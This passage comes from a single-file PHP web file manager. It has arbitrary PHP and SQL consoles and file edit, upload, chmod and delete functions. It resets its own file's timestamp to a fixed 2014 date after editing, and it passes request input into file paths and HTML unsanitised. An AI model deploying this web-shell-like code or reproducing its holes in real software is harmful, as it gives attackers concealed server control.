'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_POST['search_recursive'])) {
		ini_set('max_execution_time', '0');
		$search_data =  find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
		if(!empty($search_data)) {
			$msg .= __('Found in files').' ('.count($search_data).'):<br>';
			foreach ($search_data as $filename) {
				$msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';
			}
		} else {
			$msg .= __('Nothing founded');
		}	
	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
